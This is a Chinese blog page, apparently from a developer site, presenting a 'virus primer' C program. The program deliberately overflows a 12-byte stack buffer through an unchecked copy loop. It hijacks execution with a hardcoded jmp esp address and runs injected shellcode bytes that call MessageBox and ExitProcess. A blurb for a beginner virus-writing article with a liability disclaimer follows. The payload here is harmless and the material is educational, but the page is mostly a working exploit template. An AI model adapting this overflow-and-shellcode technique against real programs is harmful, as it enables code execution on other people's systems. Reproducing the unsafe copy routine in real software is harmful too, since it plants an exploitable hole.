病毒入门程序

#include "windows.h"
#define UINT8 unsigned char


/* 该函数构造一个简单的溢出函数 */
void GetName(UINT8 *pucSrcName, UINT8 *pucDstName)
{
    while ((*pucSrcName) != 0xfe)
    {
        *pucDstName++ = *pucSrcName++;
    }
    *pucDstName = 0;
}


/* 在此函数中,调用后GetName弹出时,注入程序接管 */
void ShowComputerName(UINT8 *pucName)
{
    UINT8 pucComputerName[12];
    GetName(pucName,pucComputerName);
}


/* 仅为了提供MessageBox和ExitProcess地址,及jmp esp指令 */
void ShowMessageBox(void)
{
    MessageBox(0, "OK", "OK", 0);
    ExitProcess(0);
    __asm jmp esp;
}


/* 模拟的异常串注入代码 */
UINT8 aucName[1024]=
{
#ifdef _DEBUG
'D','B','G',' ',
'H','e','l','l',
'o','W','o','r',
'l','d','!',0x00,
/* Debug版 jmp esp地址 */
0x36,0x11,0x40,0x00,
/*
push   0
push   421A30h  Debug版本数组aucName的起始地址
push   421A30h  Debug版本数组aucName的起始地址
push   0
call   MessageBox
*/
0x6A,0x00,
0x68,0x30,0x1A,0x42,0x00,
0x68,0x30,0x1A,0x42,0x00,
0x6A,0x00,
0xFF,0x15,0x8C,0x52,0x42,0x00,
/*
push 0
call ExitProcess
*/
0x6A,0x00,
0xFF,0x15,0x7C,0x51,0x42,0x00,
/* 结束符号 */
0xFE
#else
'H','e','l','l',
'o','W','o','r',
'l','d','!',0x00,
/* Release版 jmp esp地址 */
0x72,0x10,0x40,0x00,  
/*
push   0
push   405030h  Release版本数组aucName的起始地址
push   405030h  Release版本数组aucName的起始地址
push   0
call   MessageBox
*/
0x6A,0x00,
0x68,0x30,0x50,0x40,0x00,
0x68,0x30,0x50,0x40,0x00,
0x6A,0x00,
0xFF,0x15,0x90,0x40,0x40,0x00,
/*
push 0
call ExitProcess
*/
0x6A,0x00,
0xFF,0x15,0x48,0x40,0x40,0x00,
/* 结束符号 */
0xFE 
#endif
};


int main(int argc, UINT8 *argv[])
{
    ShowComputerName(aucName);
    ShowMessageBox();
    return 0;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先关于 [评价可免费] 的严重声明: 一、评价=评论加评价(评星星); 二、评价必须是下载完了该资源后的评价,没下载就评论无效; 三、如果正确评价了,返还积分可能需要等等,系统需要反应下。呵呵 评论时记得要评分。然后会返回给你花费的分再加1分.理论上有十分就可以下载完所有的资源了。一般人我不告诉他。 1、声明 ------- 本文仅仅是一篇讲述病毒原理的理论性文章,任何人如果通过本文中讲述的技术或利用本文 中的代码写出恶性病毒,造成的任何影响均与作者无关。 2、前言 ------- 病毒是什么?病毒就是一个具有一定生物病毒特性,可以进行传播、感染的程序病毒同样 是一个程序,只不过它经常做着一些正常程序不常做的事情而已,仅此而已。在这篇文章中 我们将揭开病毒的神秘面纱,动手写一个病毒(当然这个病毒是不具有破坏力的,仅仅是一 个良性病毒)。 在网上有很多病毒方面的入门文章,但大部分都很泛泛,并不适合真正的初学者。真正的高 手没有时间也不屑于写这样一篇详细的入门文章,所以我便萌发了写这样一篇文章的冲动, 一来是对自己的学习进行一下总结,二来也是想让像我一样的初学者能少走一些弯路。如果 你有一定的病毒编写基础,那么就此打住,这是一篇为对病毒编程完全没有概念的读者编写 的,是一篇超级入门的文章 :P
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值